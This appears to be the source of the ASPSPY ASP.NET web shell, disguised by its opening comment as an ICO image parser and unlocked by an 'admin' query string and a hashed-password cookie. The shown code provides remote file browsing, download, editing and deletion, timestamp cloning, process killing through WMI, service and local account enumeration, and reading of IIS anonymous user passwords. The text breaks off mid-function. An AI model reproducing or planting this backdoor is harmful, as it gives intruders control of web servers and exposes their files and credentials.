// 阅取ICO图片解析
<%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<%@ import Namespace="System.IO"%>
<%@ import Namespace="System.Diagnostics"%>
<%@ import Namespace="System.Data"%>
<%@ import Namespace="System.Management"%>
<%@ import Namespace="System.Data.OleDb"%>
<%@ import Namespace="Microsoft.Win32"%>
<%@ import Namespace="System.Net.Sockets" %>
<%@ import Namespace="System.Runtime.InteropServices"%>
<%@ import Namespace="System.DirectoryServices"%>
<%@ import Namespace="System.ServiceProcess"%>
<%@ import Namespace="System.Text.RegularExpressions"%>
<%@ Import Namespace="System.Threading"%>
<%@ Import Namespace="System.Data.SqlClient"%>
<%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
<%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
<%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>

<%
string admin = Request.QueryString["admin"]==null?"没有值":Request.QueryString["admin"].ToString();
		 if (admin=="admin")
          {
%>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<script runat="server">

	public string Password="21232f297a57a5a743894a0e4a801fc3";
	public string CookieName="ASPX";
	public int CssC=1;
	protected OleDbConnection conn=new OleDbConnection();
	protected OleDbCommand comm=new OleDbCommand();
	public NetworkStream NS=null;
	public NetworkStream NS1=null;
	TcpClient tcp=new TcpClient();
	TcpClient tcp1=new TcpClient();
	ArrayList Listth=new ArrayList();
	ArrayList ScanResults=new ArrayList();
	
	protected void Page_Load(object sender,EventArgs e)
	{
		JscriptSender(this);
		Bin_CheckLogin();
		if(IsPostBack)
		{
			Bin_Driver();		
			string Bin_Target=Request["__EVENTTARGET"];
			string Bin_Path=Request["__File"];
			if(Bin_Target!="")
			{
				switch(Bin_Target)
				{
					case "Bin_Parent":
						Bin_File(Bin_FromBase64(Bin_Path));
						break;
					case "Bin_Listdir":
						Bin_File(Bin_FromBase64(Bin_Path));
						break;
					case "Bin_Deldir":
						Bin_Deldir(Bin_FromBase64(Bin_Path));
						break;
					case "Bin_Createfile":
						Bin_CreateFile(Bin_Path);
						break;
					case "Bin_Editfile":
						Bin_CreateFile(Bin_Path);
						break;
					case "Bin_Createdir":
						Bin_CreateDir(Bin_Path);
						break;
					case "Bin_CloneTime":
						Bin_CloneTime(Bin_Path);
						break;
					case "Bin_DownFile":
						Bin_DownFile(Bin_FromBase64(Bin_Path));
						break;
					case "Bin_DelFile":
						Bin_DelFile(Bin_Path);
						break;
					case "Bin_Regread":
						Bin_ShowReg(Bin_FromBase64(Bin_Path));
						break;
					case "Bin_KillMe":
						Bin_KillMe();
						break;
					case "Bin_Wmi_KillProcess":
						Bin_Wmi_KillProcess(Bin_Path);
						break;				
				}
				if(Bin_Target.Substring(0,9)=="Bin_Redir")
				{
					Bin_Redir(Bin_FromBase64(Bin_Target.Replace("Bin_Redir","")),Bin_Path);
				}
				if(Bin_Target.Substring(0,10)=="Bin_Refile")
				{
					Bin_Refile(Bin_FromBase64(Bin_Target.Replace("Bin_Refile","")),Bin_Path);
				}
				if(Bin_Target.Substring(0,9)=="Bin_CFile")
				{
					Bin_CopyFile(Bin_FromBase64(Bin_Target.Replace("Bin_CFile","")),Bin_Path);
				}			
			}	
		}
	}
	// MAIN VOID 
	public void Bin_CheckLogin()
	{
		if(Request.Cookies[CookieName]==null)
		{
			Bin_Login();
		}
		else
		{
			if(Request.Cookies[CookieName].Value!=Password)
			{
				Bin_Login();
			}
		}
	}
	public void Bin_Login()
	{
		Bin_Div_Login.Visible=true;
		Bin_Div_Content.Visible=false;
	}
	protected void Bin_Button_Logout_Click(object sender,EventArgs e)
	{
		Session.Abandon();
		Response.Cookies.Add(new HttpCookie(CookieName,null));
		Bin_Login();
	}
	public void Bin_Main()
	{
		Bin_Div_Content.Visible=true;
		Bin_Div_File.Visible=true;
		Bin_Button_CreateFile.Attributes["onClick"]="var filename=prompt('Please input the file name:','');if(filename){Bin_PostBack('Bin_Createfile',filename);}";
		Bin_Button_CreateDir.Attributes["onClick"]="var filename=prompt('Please input the directory name:','');if(filename){Bin_PostBack('Bin_Createdir',filename);}";
		Bin_Button_KillMe.Attributes["onClick"]="if(confirm('Are you sure delete ASPSPY?')){Bin_PostBack('Bin_KillMe','');};";

		Bin_Span_Sname.InnerHtml=Request.ServerVariables["LOCAL_ADDR"]+":"+Request.ServerVariables["SERVER_PORT"]+"("+Request.ServerVariables["SERVER_NAME"]+")";
		Bin_Span_FrameVersion.InnerHtml="Framework Ver : "+Environment.Version.ToString();
		if(!IsPostBack)
		{
			Bin_TextBox_Path.Value=Bin_PathBuild(Server.MapPath("."));
		}
		Bin_H2_Title.InnerText="File Manager >>";
	}
	public void Bin_Driver()
	{
		string[] drivers=Directory.GetLogicalDrives();
		for(int i=0;i < drivers.Length;i++)
		{
			Control c=ParseControl(" <asp:LinkButton Text='"+Bin_Drvbuild(drivers[i])+"' ID=\"Bin_Button_Driv"+i+"\" runat='server' commandargument= '"+drivers[i]+"'/> | ");
			Bin_Span_Drv.Controls.Add(c);
			LinkButton drvbutton=(LinkButton)Page.FindControl("Bin_Button_Driv"+i);
			drvbutton.Command += new CommandEventHandler(this.Bin_Button_Driv_Command);		
		} 
	}
	public string Bin_PathBuild(string path)
	{
		if(path.Substring(path.Length - 1,1)!=@"\")
		{
			path=path+@"\";
		}
		return path;	
	}
	public string Bin_PathDel(string path)
	{
		char[] trim={'\\'};
			
		if(path.Substring(path.Length - 1,1)==@"\")
		{
			path=path.TrimEnd(trim);
		}
		return path;
	}
	[DllImport("kernel32.dll",EntryPoint="GetDriveTypeA")]
	public static extern int Bin_GetDriveType(string nDrive);
	public string Bin_Drvbuild(string instr)
	{
		string strbuild=string.Empty;
		int num=Bin_GetDriveType(instr);
		switch(num)
		{
			case 1:
				strbuild="Unknow("+instr+")";
				break;
			case 2:
				strbuild="Removable("+instr+")";
				break;
			case 3:
				strbuild="Fixed("+instr+")";
				break;
			case 4:
				strbuild="Network("+instr+")";
				break;
			case 5:
				strbuild="CDRom("+instr+")";
				break;
			case 6:
				strbuild="RAM Disk("+instr+")";
				break;
		}
		return strbuild.Replace(@"\","");
	}
	public string Bin_ToBase64(string instr)
	{
		byte[] tmp=Encoding.Default.GetBytes(instr);
		return Convert.ToBase64String(tmp);
	}
	public string Bin_FromBase64(string instr)
	{
		byte[] tmp=Convert.FromBase64String(instr);
		return Encoding.Default.GetString(tmp);
	}
	public void Bin_File(string path)
	{
		Bin_Div_File.Visible=true;
		Bin_Div_Cmd.Visible=false;
		Bin_Div_Reg.Visible=false;
		Bin_Div_SuExp.Visible=false;
		Bin_Div_PortScan.Visible=false;
		Bin_Div_Data.Visible=false;
		Bin_Div_PortMap.Visible=false;
		Bin_H2_Title.InnerText="File Manager >>";
		Bin_TextBox_Path.Value=Bin_PathBuild(path);
		DirectoryInfo Bin_dir=new DirectoryInfo(path);
		if(Directory.GetParent(Bin_PathDel(path))!=null)
		{
			string bg=Bin_Css();
			TableRow p=new TableRow();
			for(int i=1;i < 6;i++)
			{
				TableCell pc=new TableCell();
				if(i==1)
				{
					pc.Width=Unit.Parse("2%");
					pc.Text="0";
					p.CssClass=bg;
				}
				if(i==2)
				{
					pc.Text="<a href=\"javascript:Bin_PostBack('Bin_Parent','"+Bin_ToBase64(Directory.GetParent(Bin_PathDel(path)).ToString())+"')\">Parent Directory</a>";
				}			
				p.Cells.Add(pc);
				Bin_Table_File.Rows.Add(p);
			}
		}
		try
		{		
			int dir_c=0;
			foreach(DirectoryInfo Bin_folder in Bin_dir.GetDirectories())
			{
				string bg=Bin_Css();
				dir_c++;
				TableRow tr=new TableRow();
				TableCell tc=new TableCell();
				tc.Width=Unit.Parse("2%");
				tc.Text="0";
				tr.Attributes["onmouseover"]="this.className='focus';";
				tr.CssClass=bg;
				tr.Attributes["onmouseout"]="this.className='"+bg+"';";
				tr.Cells.Add(tc);
				TableCell dirname=new TableCell();
				dirname.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_folder.Name)+"')\">"+Bin_folder.Name+"</a>";
				tr.Cells.Add(dirname);
				TableCell dirtime=new TableCell();
				dirtime.Text=Bin_folder.LastWriteTimeUtc.ToString("yyyy-MM-dd hh:mm:ss");
				tr.Cells.Add(dirtime);
				Bin_Table_File.Rows.Add(tr);
				TableCell dirsize=new TableCell();
				dirsize.Text="--";
				tr.Cells.Add(dirsize);
				Bin_Table_File.Rows.Add(tr);
				TableCell diraction=new TableCell();
				diraction.Text="	<a href=\"javascript:if(confirm('Are you sure will delete it ?\\n\\nIf non-empty directory,will be delete all the files.')){Bin_PostBack('Bin_Deldir','"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_folder.Name)+"')};\">Del</a> | <a href='#' onclick=\"var filename=prompt('Please input the new folder name:','"+Bin_TextBox_Path.Value.Replace(@"\",@"\\")+Bin_folder.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('Bin_Redir"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_folder.Name)+"',filename);} \">Rename</a>";
				tr.Cells.Add(diraction);
				Bin_Table_File.Rows.Add(tr);
			}
			TableRow intr=new TableRow();
			intr.Attributes["style"]="border-top:1px solid #fff;border-bottom:1px solid #ddd;";
			intr.Attributes["bgcolor"]="#dddddd";
			TableCell intc=new TableCell();
			intc.Attributes["colspan"]="6" ;
			intc.Attributes["height"]="5";
			intr.Cells.Add(intc);
			Bin_Table_File.Rows.Add(intr);
			int file_c=0;
			foreach(FileInfo Bin_Files in Bin_dir.GetFiles())
			{
				file_c++;
				string gb=Bin_Css();
				TableRow tr=new TableRow();
				TableCell tc=new TableCell();
				tc.Width=Unit.Parse("2%");
				tc.Text="<input type=\"checkbox\" value=\"0\" name=\""+Bin_ToBase64(Bin_Files.Name)+"\">";
				tr.Attributes["onmouseover"]="this.className='focus';";
				tr.CssClass=gb;
				tr.Attributes["onmouseout"]="this.className='"+gb+"';";				
				tr.Cells.Add(tc);
				TableCell filename=new TableCell();
				filename.Text=Bin_Files.Name;
				TableCell filetime=new TableCell();
				filetime.Text=Bin_Files.LastWriteTimeUtc.ToString("yyyy-MM-dd hh:mm:ss");
				TableCell filesize=new TableCell();
				filesize.Text=Bin_FileSize(Bin_Files.Length);
				TableCell action=new TableCell();
				action.Text="<a href=\"#\" onclick=\"Bin_PostBack('Bin_DownFile','"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_Files.Name)+"') \">Down</a> | <a href='#' onclick=\"var filename=prompt('Please input the new path(full path):','"+Bin_TextBox_Path.Value.Replace(@"\",@"\\")+Bin_Files.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('Bin_CFile"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_Files.Name)+"',filename);} \">Copy</a> | <a href=\"#\" onclick=\"Bin_PostBack('Bin_Editfile','"+Bin_Files.Name+"')\">Edit</a> | <a href='#' onclick=\"var filename=prompt('Please input the new file name(full path):','"+Bin_TextBox_Path.Value.Replace(@"\",@"\\")+Bin_Files.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('Bin_Refile"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_Files.Name)+"',filename);} \">Rename</a> | <a href=\"#\" onclick=\"Bin_PostBack('Bin_CloneTime','"+Bin_Files.Name+"') \">Time</a> ";		
				tr.Cells.Add(filename);
				tr.Cells.Add(filetime);
				tr.Cells.Add(filesize);
				tr.Cells.Add(action);
				Bin_Table_File.Rows.Add(tr);
			}
			string lgb=Bin_Css();
			TableRow cktr=new TableRow();
			cktr.CssClass=lgb;
			for(int i=1;i < 4;i++)
			{
				TableCell cktd=new TableCell();
				if(i==1)
				{
					cktd.Text="<input name=\"chkall\" value=\"on\" type=\"checkbox\" onclick=\"var ck=document.getElementsByTagName('input');for(var i=0;i<ck.length-1;i++){if(ck[i].type=='checkbox'&&ck[i].name!='chkall'){ck[i].checked=forms[0].chkall.checked;}}\"/>";
				}
				if(i==2)
				{
					cktd.Text="<a href=\"#\" Onclick=\"var d_file='';var ck=document.getElementsByTagName('input');for(var i=0;i<ck.length-1;i++){if(ck[i].checked&&ck[i].name!='chkall'){d_file+=ck[i].name+',';}};if(d_file==null || d_file==''){ return;} else {if(confirm('Are you sure delete the files ?')) {Bin_PostBack('Bin_DelFile',d_file)};}\">Delete selected</a>";
				}
				if(i==3)
				{
					cktd.ColumnSpan=4;
					cktd.Style.Add("text-align","right");
					cktd.Text=dir_c+" directories/ "+file_c+" files";
				}
				cktr.Cells.Add(cktd);
			}
			Bin_Table_File.Rows.Add(cktr);
		}
		catch(Exception error)
		{
			Bin_Msg(error.Message);
		}
	}
	public string Bin_Css()
	{
		CssC++;
		if(CssC % 2==0)
		{
			return "alt1";
		}
		else
		{
			return "alt2";
		}
	}
	public void Bin_Deldir(string dirstr)
	{
		try 
		{
			Directory.Delete(dirstr,true);
			Bin_Msg("Directory delete new success !");
		}
		catch(Exception error)
		{
			Bin_Msg(error.Message);
		}
		Bin_File(Directory.GetParent(dirstr).ToString());
	}
	public void Bin_Redir(string sdir,string ddir)
	{
		try
		{
			Directory.Move(sdir,ddir);
			Bin_Msg("Directory Renamed Success !");
		}
		catch(Exception error)
		{
			Bin_Msg(error.Message);
		}
		Bin_File(Bin_TextBox_Path.Value);
	}
	public void Bin_Refile(string sfile,string dfile)
	{
		try
		{
			File.Move(sfile,dfile);
			Bin_Msg("File Renamed Success !");
		}
		catch(Exception error)
		{
			Bin_Msg(error.Message);
		}
		Bin_File(Bin_TextBox_Path.Value);
	}
	public void Bin_CopyFile(string spath,string dpath)
	{
		try
		{
			File.Copy(spath,dpath);
			Bin_Msg("File Copy Success !");
		}
		catch(Exception error)
		{
			Bin_Msg(error.Message);
		}
		Bin_File(Bin_TextBox_Path.Value);
	}	
	public void Bin_CreateDir(string path)
	{
		try
		{
			Directory.CreateDirectory(Bin_TextBox_Path.Value+path);
			Bin_Msg("Directory created success !");			
		}
		catch(Exception error)
		{
			Bin_Msg(error.Message);
		}
		Bin_File(Bin_TextBox_Path.Value);
	}
	public void Bin_CreateFile(string path)
	{		
		Bin_H2_Title.InnerHtml="Create/ Edit File >>";
		Bin_Div_File.Visible=false;
		Bin_Div_Edit.Visible=true;
		Bin_TextBox_Fp.Value=Bin_TextBox_Path.Value+path;
		if(File.Exists(Bin_TextBox_Fp.Value))
		{
			StreamReader sr=new StreamReader(Bin_TextBox_Fp.Value,Encoding.Default);
			Bin_Textarea_Edit.InnerText=sr.ReadToEnd();
			sr.Close();
		} 
	}	
	public void Bin_DownFile(string path)
	{
		FileInfo fs=new FileInfo(path);
		Response.Clear();
		Page.Response.ClearHeaders();
		Page.Response.Buffer=false;
		this.EnableViewState=false;
		Response.AddHeader("Content-Disposition","attachment;filename="+HttpUtility.UrlEncode(fs.Name,System.Text.Encoding.UTF8));
		Response.AddHeader("Content-Length",fs.Length.ToString());
		Page.Response.ContentType="application/unknown";
		Response.WriteFile(fs.FullName);
		Page.Response.Flush();
		Page.Response.Close();
		Response.End();
		Page.Response.Clear();
	}
	public void Bin_DelFile(string path)
	{
		try
		{
			string[] mydata=path.Split(',');
			for(int i=0;i < mydata.Length - 1;i++)
			{
				File.Delete(Bin_TextBox_Path.Value+Bin_FromBase64(mydata[i]));
			}
			Bin_Msg("File Delete Success !");
		}
		catch(Exception error)
		{
			Bin_Msg(error.Message);
		}
		Bin_File(Bin_TextBox_Path.Value);
	}
	public void Bin_KillMe()
	{
		try
		{
			File.Delete(Request.PhysicalPath);
			Response.Redirect("http://www.tjskfag.cn");
		}
		catch(Exception error)
		{
			Bin_Msg(error.Message);
		}
	}
	public void Bin_CloneTime(string path)
	{
		Bin_H2_Title.InnerHtml="Clone file was last modified time >>";
		Bin_Div_File.Visible=false;
		Bin_Div_Time.Visible=true;
		Bin_TextBox_Sp.Value=Bin_TextBox_Path.Value+path;
		Bin_TextBox_Dp.Value=Bin_TextBox_Path.Value;
		Bin_TextBox_Sp1.Value=Bin_TextBox_Path.Value+path;
		string Att=File.GetAttributes(Bin_TextBox_Sp.Value).ToString();
		if(Att.LastIndexOf("ReadOnly")!=-1)
		{
			Bin_CheckBox_ReadOnly.Checked=true;
		}
		if(Att.LastIndexOf("System")!=-1)
		{
			Bin_CheckBox_System.Checked=true;
		}
		if(Att.LastIndexOf("Hidden")!=-1)
		{
			Bin_CheckBox_Hiddent.Checked=true;
		}
		if(Att.LastIndexOf("Archive")!=-1)
		{
			Bin_CheckBox_Archive.Checked=true;
		}
		Bin_TextBox_Creation.Value=File.GetCreationTimeUtc(Bin_TextBox_Sp1.Value).ToString();
		Bin_TextBox_LastWrite.Value=File.GetLastWriteTimeUtc(Bin_TextBox_Sp1.Value).ToString();
		Bin_TextBox_LastAccess.Value=File.GetLastAccessTimeUtc(Bin_TextBox_Sp1.Value).ToString();
	}
	public static String Bin_FileSize(Int64 fileSize)
	{
		if(fileSize < 0)
		{
			throw new ArgumentOutOfRangeException("fileSize");
		}
		else if(fileSize >= 1024 * 1024 * 1024)
		{
			return string.Format("{0:########0.00} G",((Double)fileSize)/(1024 * 1024 * 1024));
		}
		else if(fileSize >= 1024 * 1024)
		{
			return string.Format("{0:####0.00} M",((Double)fileSize)/(1024 * 1024));
		}
		else if(fileSize >= 1024)
		{
			return string.Format("{0:####0.00} K",((Double)fileSize)/ 1024);
		}
		else
		{
			return string.Format("{0} B",fileSize);
		}
	}
	private bool Bin_CheckIsNumber(string sSrc)
	{
		Regex reg=new Regex(@"^0|[0-9]*[1-9][0-9]*$");

		if(reg.IsMatch(sSrc))
		{
			return true;
		}
		else
		{
			return false;
		}
	}
	public void Bin_IISSpy()
	{
		string dirstr=string.Empty;
		string iisstr="IIS://localhost/W3SVC";
		Bin_Table_IISSpy.Style.Add("word-break","break-all");
		try
		{
			DirectoryEntry mydir=new DirectoryEntry(iisstr);
			int iiscount=0;
			foreach(DirectoryEntry child in mydir.Children)
			{
				if(Bin_CheckIsNumber(child.Name.ToString()))
				{
					iiscount++;
					DirectoryEntry newdir=new DirectoryEntry(iisstr+"/"+child.Name.ToString());
					DirectoryEntry dirmsg=newdir.Children.Find("root","IIsWebVirtualDir");
					string bg=Bin_Css();
					TableRow TR=new TableRow();
					TR.Attributes["onmouseover"]="this.className='focus';";
					TR.CssClass=bg;
					TR.Attributes["onmouseout"]="this.className='"+bg+"';";
					TR.Attributes["title"]="Site:"+child.Properties["ServerComment"].Value.ToString();
					for(int i=1;i < 6;i++)
					{
						TableCell TC_USER=new TableCell();
						if(i==1)
						{
							TC_USER.Text=iiscount.ToString();
						}
						TC_USER.Width=Unit.Parse("1%");

						if(i==2)
						{
							TC_USER.Text=dirmsg.Properties["AnonymousUserName"].Value.ToString();
						}
						if(i==3)
						{
							TC_USER.Text=dirmsg.Properties["AnonymousUserPass"].Value.ToString();
						}
							
						if(i==4)
						{
							TC_USER.Text=child.Properties["ServerBindings"][0].ToString();
						}
						if(i==5)
						{
							TC_USER.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+Bin_ToBase64(dirmsg.Properties["Path"].Value.ToString())+"')\">"+dirmsg.Properties["Path"].Value.ToString()+"</a>";
						}
						TR.Cells.Add(TC_USER);
					}

					Bin_Table_IISSpy.Controls.Add(TR);
				}
			}				
		}
		catch(Exception error)
		{
			Bin_Msg(error.Message);
		}
	}
	public ManagementObjectCollection Bin_WmiQuery(string query)
	{
		ManagementObjectSearcher QS=new ManagementObjectSearcher(new SelectQuery(query));
		return QS.Get();
	}
	public DataTable Bin_WmiDataTable(string query)
	{
		DataTable dt=new DataTable();
		int i=0;
		ManagementObjectSearcher QS=new ManagementObjectSearcher(new SelectQuery(query));
		try
		{
			foreach(ManagementObject m in QS.Get())
			{
				DataRow dr=dt.NewRow();
				PropertyDataCollection.PropertyDataEnumerator oEnum;
				oEnum=(m.Properties.GetEnumerator() as PropertyDataCollection.PropertyDataEnumerator);
				while(oEnum.MoveNext())
				{
					PropertyData prop=(PropertyData)oEnum.Current;
					if(dt.Columns.IndexOf(prop.Name)==-1)
					{
						dt.Columns.Add(prop.Name);
						dt.Columns[dt.Columns.Count - 1].DefaultValue="";
					}
					if(m[prop.Name]!=null)
					{
						dr[prop.Name]=m[prop.Name].ToString();
					}
					else
					{
						dr[prop.Name]=string.Empty;
					}
				}
				dt.Rows.Add(dr);
			}
		}
		catch(Exception error)
		{
		// Bin_Msg(error.Message);
		}
		return dt;
	}
	public void Bin_GetProcess()
	{
		try
		{
			Bin_H2_Title.InnerText="Process >>";
			Bin_Div_Process.Visible=true;
			Bin_Div_File.Visible=false;
			Bin_Div_SuExp.Visible=false;		
			Bin_Div_Cmd.Visible=false;
			Bin_Div_Reg.Visible=false;
			Bin_Div_PortScan.Visible=false;
			Bin_Div_Data.Visible=false;
			Bin_Div_PortMap.Visible=false;
			int pcount=0;
			Process[] p=Process.GetProcesses();
			foreach(Process sp in p)
			{
				pcount++;
				string bg=Bin_Css();
				TableRow tr=new TableRow();
				tr.Attributes["onmouseover"]="this.className='focus';";
				tr.CssClass=bg;
				tr.Attributes["onmouseout"]="this.className='"+bg+"';";
				for(int i=1;i < 7;i++)
				{
					TableCell td=new TableCell();
					if(i==1)
					{
						td.Width=Unit.Parse("2%");
						td.Text=pcount.ToString();
						tr.Controls.Add(td);
					}
					if(i==2)
					{
						td.Text=sp.Id.ToString();
						tr.Controls.Add(td);
					}
					if(i==3)
					{
						td.Text=sp.ProcessName.ToString();
						tr.Controls.Add(td);
					}
					if(i==4)
					{
						td.Text=sp.Threads.Count.ToString();
						tr.Controls.Add(td);
					}
					if(i==5)
					{
						td.Text=sp.BasePriority.ToString();
						tr.Controls.Add(td);
					}
					if(i==6)
					{
						td.Text="--";
						tr.Controls.Add(td);
					}
				}
				Bin_Table_Process.Controls.Add(tr);
			}
		}
		catch(Exception error)
		{
			Bin_Wmi_GetProcess();
		}
	}
	public void Bin_Wmi_GetProcess()
	{
		try
		{
			Bin_H2_Title.InnerText="Process >>";
			Bin_Div_Process.Visible=true;
			Bin_Div_File.Visible=false;
			Bin_Div_SuExp.Visible=false;		
			Bin_Div_Cmd.Visible=false;
			Bin_Div_Reg.Visible=false;
			Bin_Div_PortScan.Visible=false;
			Bin_Div_Data.Visible=false;
			Bin_Div_PortMap.Visible=false;
			int pcount=0;
			DataTable dt=Bin_WmiDataTable("Win32_Process");
			for(int j=0;j < dt.Rows.Count;j++)
			{
				pcount++;
				string bg=Bin_Css();
				TableRow tr=new TableRow();
				tr.Attributes["onmouseover"]="this.className='focus';";
				tr.CssClass=bg;
				tr.Attributes["onmouseout"]="this.className='"+bg+"';";
				for(int i=1;i < 7;i++)
				{
					TableCell td=new TableCell();
					if(i==1)
					{
						td.Width=Unit.Parse("2%");
						td.Text=pcount.ToString();
						tr.Controls.Add(td);
					}
					if(i==2)
					{
						td.Text=dt.Rows[j]["ProcessID"].ToString();
						tr.Controls.Add(td);
					}
					if(i==3)
					{
						td.Text=dt.Rows[j]["Name"].ToString();
						tr.Controls.Add(td);
					}
					if(i==4)
					{
						td.Text=dt.Rows[j]["ThreadCount"].ToString();
						tr.Controls.Add(td);
					}
					if(i==5)
					{
						td.Text=dt.Rows[j]["Priority"].ToString();
						tr.Controls.Add(td);
					}
					if(i==6)
					{
						if( dt.Rows[j]["CommandLine"]!=string.Empty)
						{
							td.Text="<a href=\"javascript:Bin_PostBack('Bin_Wmi_KillProcess','"+dt.Rows[j]["ProcessID"].ToString()+"')\">Kill</a>";
							tr.Controls.Add(td);
						}
						else
						{
							td.Text="--";
							tr.Controls.Add(td);
						}
					}
				}
				Bin_Table_Process.Controls.Add(tr);
			}				
		}
		catch(Exception error)
		{
			Bin_Msg(error.Message);
		}
	}
	public void Bin_Wmi_KillProcess(string pid)
	{
		try
		{
			foreach(ManagementObject p in Bin_WmiQuery("Select * from Win32_Process Where ProcessID ='"+pid+"'"))
			{
				p.InvokeMethod("Terminate",null);
				p.Dispose();
			} 
			Bin_Msg("Process Kill Success !");
		}
		catch(Exception error)
		{
			Bin_Msg(error.Message);
		}
		Bin_Wmi_GetProcess();
	}
	public void Bin_GetServices()
	{
		try
		{
			Bin_H2_Title.InnerText="Services >>";
			Bin_Div_Services.Visible=true;
			Bin_Div_File.Visible=false;
			Bin_Div_Cmd.Visible=false;
			Bin_Div_Reg.Visible=false;
			Bin_Div_SuExp.Visible=false;
			Bin_Div_PortScan.Visible=false;			
			Bin_Div_Data.Visible=false;
			Bin_Div_PortMap.Visible=false;
			int pcount=0;
			ServiceController[] services=System.ServiceProcess.ServiceController.GetServices();
			for(int i=0;i < services.Length;i++)
			{
				pcount++;
				string bg=Bin_Css();
				TableRow tr=new TableRow();
				tr.Attributes["onmouseover"]="this.className='focus';";
				tr.CssClass=bg;
				tr.Attributes["onmouseout"]="this.className='"+bg+"';";
				////tr.Attributes["title"]=dt.Rows[j]["Description"].ToString();
				for(int b=1;b < 7;b++)
				{
					TableCell td=new TableCell();
					if(b==1)
					{
						td.Width=Unit.Parse("2%");
						td.Text=pcount.ToString();
						tr.Controls.Add(td);
					}
					if(b==2)
					{
						td.Text="null";
						tr.Controls.Add(td);
					}

					if(b==3)
					{
						td.Text=services[i].ServiceName.ToString();
						tr.Controls.Add(td);
					}
					if(b==4)
					{
						td.Text="";
						tr.Controls.Add(td);
					}
					if(b==5)
					{
						string state=services[i].Status.ToString();
						if(state=="Running")
						{
							td.Text="<font color=green>"+state+"</font>";
						}
						else
						{
							td.Text="<font color=red>"+state+"</font>";
						}
						tr.Controls.Add(td);
					}
					if(b==6)
					{
						td.Text="";
						tr.Controls.Add(td);
					}
				}
				Bin_Table_Serviecs.Controls.Add(tr);
			}
		}
		catch(Exception error)
		{
			Bin_Msg(error.Message);
		}
	}
	public void Bin_Wmi_GetServices()
	{
		try
		{
			Bin_H2_Title.InnerText="Services >>";
			Bin_Div_Services.Visible=true;
			Bin_Div_File.Visible=false;
			Bin_Div_Cmd.Visible=false;
			Bin_Div_Reg.Visible=false;
			Bin_Div_SuExp.Visible=false;
			Bin_Div_PortScan.Visible=false;			
			Bin_Div_Data.Visible=false;
			Bin_Div_PortMap.Visible=false;
			int pcount=0;
			DataTable dt=Bin_WmiDataTable("Win32_Service");
			for(int j=0;j < dt.Rows.Count;j++)
			{
				pcount++;
				string bg=Bin_Css();
				TableRow tr=new TableRow();
				tr.Attributes["onmouseover"]="this.className='focus';";
				tr.CssClass=bg;
				tr.Attributes["onmouseout"]="this.className='"+bg+"';";
				tr.Attributes["title"]=dt.Rows[j]["Description"].ToString();
				for(int i=1;i < 7;i++)
				{
					TableCell td=new TableCell();
					if(i==1)
					{
						td.Width=Unit.Parse("2%");
						td.Text=pcount.ToString();
						tr.Controls.Add(td);
					}
					if(i==2)
					{
						td.Text=dt.Rows[j]["ProcessID"].ToString();

						tr.Controls.Add(td);
					}
					if(i==3)
					{
						td.Text=dt.Rows[j]["Name"].ToString();
						tr.Controls.Add(td);
					}
					if(i==4)
					{
						td.Text=dt.Rows[j]["PathName"].ToString();
						tr.Controls.Add(td);
					}
					if(i==5)
					{
						string state=dt.Rows[j]["State"].ToString();
						if(state=="Running")
						{
							td.Text="<font color=green>"+state+"</font>";
						}
						else
						{
							td.Text="<font color=red>"+state+"</font>";
						}
						tr.Controls.Add(td);
					}
					if(i==6)
					{
						td.Text=dt.Rows[j]["StartMode"].ToString();
						tr.Controls.Add(td);
					}
				}
				Bin_Table_Serviecs.Controls.Add(tr);
			}

		}

		catch(Exception error)
		{
			Bin_GetServices();
		}
	} 
	public void Bin_UserInfo()
	{
		try
		{
			Bin_Div_Userinfo.Visible=true;
			Bin_Div_File.Visible=false;
			Bin_Div_Cmd.Visible=false;
			Bin_Div_Reg.Visible=false;
			Bin_Div_SuExp.Visible=false;			
			Bin_Div_PortScan.Visible=false;
			Bin_Div_Data.Visible=false;
			Bin_Div_PortMap.Visible=false;
			Bin_H2_Title.InnerText="User Information >>";
			DirectoryEntry users=new DirectoryEntry("WinNT://"+Environment.MachineName.ToString());
			foreach(DirectoryEntry child in users.Children)
			{
				foreach(string name in child.Properties.PropertyNames)
				{
					// Response.Write(name+":"+ child.Properties[name] +"<br>");
					PropertyValueCollection pvc=child.Properties[name];
					int c=pvc.Count;
					for(int i=0;i < c;i++)
					{
						if(name!="objectSid" && name!="Parameters" && name!="LoginHours")
						{
							string bg=Bin_Css();
							TableRow tr=new TableRow();
							tr.Attributes["onmouseover"]="this.className='focus';";
							tr.CssClass=bg;
							tr.Attributes["onmouseout"]="this.className='"+bg+"';";
							TableCell td=new TableCell();
							td.Text=name;
							tr.Controls.Add(td);
							TableCell td1=new TableCell();
							td1.Text=pvc[i].ToString();
							tr.Controls.Add(td1);
							Bin_Table_User.Controls.Add(tr);
						}

					}				
				}
				TableRow trn=new TableRow();
				for(int x=1;x < 3;x++)
				{
					TableCell tdn=new TableCell();
					tdn.Attributes["style"]="height:2px;background-color:#bbbbbb;";
					trn.Controls.Add(tdn);
					Bin_Table_User.Controls.Add(trn);
				}
			}
		}
		catch(Exception error)
		{
			Bin_Msg(error.Message);
		}
	}
	public void Bin_Wmi_UserInfo()
	{
		try
		{
			Bin_Div_Userinfo.Visible=true;
			Bin_Div_File.Visible=false;
			Bin_Div_Cmd.Visible=false;
			Bin_Div_Reg.Visible=false;
			Bin_Div_SuExp.Visible=false;
			Bin_Div_PortScan.Visible=false;
			Bin_Div_PortMap.Visible=false;
